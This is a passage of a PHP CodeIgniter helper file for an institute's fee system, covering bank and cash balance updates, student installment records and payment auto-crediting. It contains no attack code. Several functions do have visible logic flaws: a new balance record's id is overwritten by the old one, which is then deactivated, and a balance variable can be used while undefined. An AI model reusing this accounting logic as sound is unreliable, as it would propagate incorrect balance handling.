            $data_to_add['details_updated_at']=date('Y-m-d H:i:s');
            CI()->fm->update_payment_details($data_to_add,array('details_id'=>$payment_id));
            $details_id=$payment_id;
        } 
    }else{
        $details_id=0;
    }       

    return $details_id;
}

function store_bank_balance_data($bank_id,$inst_id,$creator_id,$balance_amount,$transfer_id=0,$type='credit'){
    $get_balance_data=CI()->sm->get_bank_balance(array('balance_bank_id'=>$bank_id,'balance_inst_id'=>$inst_id,'balance_status'=>'active'));

    if(!empty($get_balance_data)){
        if($get_balance_data->balance_adjusted_amount>0){
            if($type=='credit'){
                $new_balance=$get_balance_data->balance_opening_amount+$balance_amount;
            }else if($type=='transfer_credit'){
                $new_balance=$get_balance_data->balance_opening_amount+$balance_amount;
            }else if($type=='debit'){
                $new_balance=$get_balance_data->balance_opening_amount-$balance_amount;
            }else if($type=='transfer_debit'){
                $new_balance=$get_balance_data->balance_opening_amount-$balance_amount;
            }
        }else{
            $new_balance=$balance_amount;
        }
        
        $balance_adjusted_amount=$balance_amount;
    }else{
        $new_balance=$balance_amount;
        $balance_adjusted_amount=0;
    }

    $data_to_insert=array(
        'balance_bank_id'=>$bank_id,
        'balance_inst_id'=>$inst_id,
        'balance_transfer_id'=>$transfer_id,
        'balance_opening_amount'=>$new_balance,
        'balance_adjusted_amount'=>$balance_adjusted_amount,
        'balance_status'=>'active',
        'balance_is_credit_debit'=>$type,
        'balance_created_by'=>$creator_id
    );

    if(!empty($get_balance_data)){
        if($get_balance_data->balance_adjusted_amount>0){
            $balance_id=CI()->sm->store_bank_balance_data($data_to_insert);
        }
        $balance_id=$get_balance_data->balance_id;
        if($get_balance_data->balance_adjusted_amount>0){
            CI()->sm->update_bank_balance_data(array('balance_status'=>'inactive','balance_updated_at'=>date('Y-m-d H:i:s'),'balance_updated_by'=>$creator_id),array('balance_bank_id'=>$bank_id,'balance_id'=>$balance_id));
        }                        
    }else if(empty($get_balance_data)){
        $balance_id=CI()->sm->store_bank_balance_data($data_to_insert);
    } 

    return $balance_id;
}

function store_cash_balance_data($inst_id,$inst_type,$creator_id,$balance_amount,$transfer_id=0,$type='credit'){
    $get_balance_data=CI()->sm->get_cash_balance(array('balance_inst_id'=>$inst_id,'balance_status'=>'active'));

    if(!empty($get_balance_data)){
        if($get_balance_data->balance_adjusted_amount>0){
            if($type=='credit'){
                $new_balance=$get_balance_data->balance_opening_amount+$balance_amount;
            }else if($type=='transfer_credit'){
                $new_balance=$get_balance_data->balance_opening_amount+$balance_amount;
            }else if($type=='debit'){
                $new_balance=$get_balance_data->balance_opening_amount-$balance_amount;
            }else if($type=='transfer_debit'){
                $new_balance=$get_balance_data->balance_opening_amount-$balance_amount;
            }             
        }else{
            $new_balance=$balance_amount;
        }
        
        $balance_adjusted_amount=$balance_amount;
    }else{
        $new_balance=$balance_amount;
        $balance_adjusted_amount=0;
    }

    $data_to_insert=array(
        'balance_inst_id'=>$inst_id,
        'balance_inst_type'=>$inst_type,
        'balance_transfer_id'=>$transfer_id,
        'balance_opening_amount'=>$new_balance,
        'balance_adjusted_amount'=>$balance_adjusted_amount,
        'balance_status'=>'active',
        'balance_is_credit_debit'=>$type,
        'balance_created_at'=>date('Y-m-d H:i:s'),
        'balance_created_by'=>$creator_id
    );

    if(!empty($get_balance_data)){
        if($get_balance_data->balance_adjusted_amount>0){
            CI()->sm->store_cash_balance_data($data_to_insert);
        }
        $balance_id=$get_balance_data->balance_id;
        if($get_balance_data->balance_adjusted_amount>0){
            CI()->sm->update_cash_balance_data(array('balance_status'=>'inactive','balance_updated_at'=>date('Y-m-d H:i:s'),'balance_updated_by'=>$creator_id),array('balance_id'=>$balance_id));
        }                        
    }else if(empty($get_balance_data)){
        $balance_id=CI()->sm->store_cash_balance_data($data_to_insert);
    }

    return $balance_id;
}


function store_installments($data,$db_group=null){
    $installment_unique_code=generate_string(4);
    $installment_data=array(
        'installment_no'=>$data['installment_no'],
        'installment_unique_code'=>$installment_unique_code,
        'installment_stu_id'=>$data['student_user_id'],
        'installment_inst_id'=>$data['inst_id'],
        'installment_admission_id'=>$data['admission_id'],
        'installment_sess_id'=>$data['session'],
        'installment_sess_year'=>$data['session_year'],
        'installment_course_id'=>$data['course'],
        'installment_value'=>$data['amount'],
        'installment_scholarship_discount'=>(!empty($data['discount']))?$data['discount']:'0.00',
        'installment_special_discount'=>'0.00',
        'installment_scholarship_discount_reason'=>null,
        'installment_special_discount_reason'=>null,
        'installment_paid_full'=>$data['paid_full'],
        'installment_date'=>$data['installment_date'],
        'created_by'=>$data['user_id'],
        'created_at'=>$data['created_at']
    );

    $installment_id=CI()->fm->store_installments($installment_data,FALSE,$db_group);

    if($installment_id){
        if($data['paid_full']=='yes'){
            $institute_payments_admission_fees_details=array(
                'payment_stu_id'=>$data['student_user_id'],
                'payment_inst_id'=>$data['inst_id'],
                'payment_session_id'=>$data['session'],
                'payment_course_id'=>$data['course'],
                'payment_admission_id'=>$data['admission_id'],
                'payment_installment_id'=>$installment_id,
                'payment_fees_total'=>$data['amount'],
                'payment_fees_grand_total'=>$data['amount'],
                'payment_fees_admission_amount'=>$data['amount'],
                'pay_mode'=>'old_payment_before_software',
                'created_by'=>$data['user_id'],
                'created_at'=>$data['created_at']
            );

            $payment_id=CI()->fm->store_fees_details($institute_payments_admission_fees_details,FALSE,$db_group);

            //Payment details
            $details_order_id=$data['admission_code'].'_'.date('Y').'_'.$data['installment_no'].'_'.generate_string(4).'_'.$installment_unique_code.'_stuinst';
            $details_order_code=$data['admission_code'].$installment_unique_code;
            $txn_id=ge_rand_code_v1('TXN'.$data['inst_id'].$data['user_id'].$data['admission_id'].$data['installment_no']);
            $payment_details=array(
                'details_type'=>'new_admission',
                'details_payment_type'=>'installment_fees',
                'details_type_text'=>'Admission Payment',
                'details_type_id'=>$data['admission_id'],
                'details_payment_id'=>$payment_id,
                'details_created_at_actual'=>$data['created_at'],
                'details_created_at'=>$data['created_at'],
                'details_emp_id'=>$data['emp_id'],
                'details_stu_id'=>$data['student_user_id'],
                'details_agent_id'=>null,
                'details_inst_id'=>$data['inst_id'], 
                'details_installment_id'=>$installment_id,          
                'details_parent_inst_id'=>$data['inst_parent_id'],
                'details_sess_id'=>$data['session'],
                'details_course_id'=>$data['course'],
                'details_payment_platform'=>'old_payment_before_software',
                'details_amount'=>$data['amount'],
                'details_discount_amount'=>'0',
                'details_txn_id'=>$txn_id,
                'details_order_id'=>$details_order_id,
                'details_order_code'=>$details_order_code,
                'details_accounting_type'=>'income',
                'details_accounting_type_id'=>'1',
                'details_accounting_dr_cr'=>'credit',
                'details_accounting_type_p_id'=>'19',
                'details_status'=>'success',
                'details_pay_currency'=>'inr',
                'details_msg'=>$data['details_msg'],
                'details_created_by_type'=>$data['user_type'],
                'details_created_by'=>$data['user_id'],            
                'details_updated_by_type'=>$data['user_type'],
                'details_updated_by'=>$data['user_id'],
                'details_updated_at'=>date('Y-m-d H:i:s')   
            );

            CI()->fm->store_payment_details($payment_details,$db_group);
        }  
    }

    return $installment_id;
}

//Auto credit to Cash or Bank Accounts
function auto_credit($data){

    $amount_paid=$data['amount_paid'];
    
    if($data['pay_auto_credit_account']!='0' && $data['pay_auto_credit_account']!='cash'){
        //Bank Balance update
        $balance_opening_amount=0;
        $get_balance_data=CI()->sm->get_bank_balance(array('balance_inst_id'=>$data['inst_id'],'balance_bank_id'=>$data['pay_auto_credit_account'],'balance_inst_type'=>$data['inst_type'],'balance_status'=>'active'));

        if(!empty($get_balance_data)){
            $last_balance=$get_balance_data->balance_opening_amount;
            $balance_opening_amount=$get_balance_data->balance_opening_amount;
        }

        $balance_amount=$last_balance+$amount_paid;
        $bank_balance=array(
            'balance_inst_id'=>$data['inst_id'],
            'balance_bank_id'=>$data['pay_auto_credit_account'],
            'balance_opening_amount'=>$balance_amount,
            'balance_adjusted_amount'=>$amount_paid,
            'balance_status'=>'active',
            'balance_created_by'=>$data['emp_id']
        );

        $balance_id=CI()->sm->store_bank_balance_data($bank_balance);
        if($balance_id){
            CI()->fm->update_payment_details(array('details_accounting_account'=>'bank_account','details_accounting_account_id'=>$data['pay_auto_credit_account']),array('details_id'=>$data['payment_details_id']));
            if(!empty($get_balance_data)){
                CI()->sm->update_bank_balance_data(array('balance_status'=>'inactive','balance_updated_by'=>$data['emp_id']),array('balance_id'=>$get_balance_data->balance_id));
            }                
        }
    }else if($data['pay_auto_credit_account']=='cash'){
        //Cash balance update
        $balance_opening_amount=0;
        $get_balance_data=CI()->sm->get_cash_balance(array('balance_inst_id'=>$data['inst_id'],'balance_status'=>'active'));

        if(!empty($get_balance_data)){
            $last_balance=$get_balance_data->balance_opening_amount;
            $balance_opening_amount=$get_balance_data->balance_opening_amount;
        }

        $balance_amount=$last_balance+$amount_paid;
        $cash_balance=array(
            'balance_inst_id'=>$data['inst_id'],                
            'balance_opening_amount'=>$balance_amount,
            'balance_adjusted_amount'=>$amount_paid,
            'balance_status'=>'active',
            'balance_created_by'=>$data['emp_id']
        );

        $balance_id=CI()->sm->store_cash_balance_data($cash_balance);
        if($balance_id){
            CI()->fm->update_payment_details(array('details_accounting_account'=>'cash_account'),array('details_id'=>$data['payment_details_id']));
            if(!empty($get_balance_data)){
                CI()->sm->update_cash_balance_data(array('balance_status'=>'inactive','balance_updated_by'=>$data['emp_id']),array('balance_id'=>$get_balance_data->balance_id));
            }                
        }
    }
}


/*function cheque_details_upload(){
    $cheque_no=post_data('pay_bank_cheque_no');
    $cheque_bank=post_data('pay_bank_name');
    $cheque_pay_deposite_bank=post_data('pay_deposite_bank');
    $details_msg='Cheque Recieved';
    $accounting_type='not_settled';

    if($data['cheque_bank']!='' && $data['cheque_no']!='' && ($data['deposite_bank']!='' && $data['deposite_bank']>0)){
        if($data['user_type']=='institute'){
            $parent_inst_id=$data['inst_id'];
            $storage_dir='institutes/'.$data['user_code'].'/payments/'.date('Y');
        }

        if(isset($_FILES['cheque_scan_frontcopy_file']) && $_FILES['cheque_scan_frontcopy_file']['name']!==''){

            $cheque_scan_frontcopy_file=array(
                'file_size'=>'5',
                'file_name'=>'cheque_scan_frontcopy_file',
                'file_types'=>'png,jpg,jpeg',
                'file_storage_type'=>'cheque_scan_frontcopy_file',
                'file_storage_dir'=>$storage_dir,
                'file_storage_type_id'=>$data['stu_id'],
                'file_parent_id'=>$data['inst_id'],
                'file_compress'=>false,
                'file_operation_type'=>'new',
                'file_uploaded_by'=>$data['user_id']
            );
    
            $cheque_scan_frontcopy_file_id=$this->onUploadFiles($cheque_scan_frontcopy_file);
        }

        if(isset($_FILES['cheque_scan_backcopy_file']) && $_FILES['cheque_scan_backcopy_file']['name']!=''){

            $cheque_scan_backcopy_file=array(
                'file_size'=>'5',
                'file_name'=>'cheque_scan_backcopy_file',
                'file_types'=>'png,jpg,jpeg',
                'file_storage_type'=>'cheque_scan_backcopy_file',
                'file_storage_dir'=>$storage_dir,
                'file_storage_type_id'=>$data['stu_id'],
                'file_parent_id'=>$data['inst_id'],
                'file_compress'=>false,
                'file_operation_type'=>'new',
                'file_uploaded_by'=>$data['user_id']
            );
    
            $cheque_scan_backcopy_file_id=CI()->onUploadFiles($cheque_scan_backcopy_file);
        }

        if(isset($cheque_scan_frontcopy_file_id) && isset($cheque_scan_backcopy_file_id)){

            if(is_numeric($cheque_scan_frontcopy_file_id) && is_numeric($cheque_scan_backcopy_file_id)){
                $booking_payment_checq_files_ids=$cheque_scan_frontcopy_file_id.','.$cheque_scan_backcopy_file_id;
            }                           
        }                                
    }else{
        $payment_can_be_recieved=false;
        $payment_msg='Cheque No.,Bank Name and  Deposite Bank details are required.';
    }
}*/

MMCT - 2023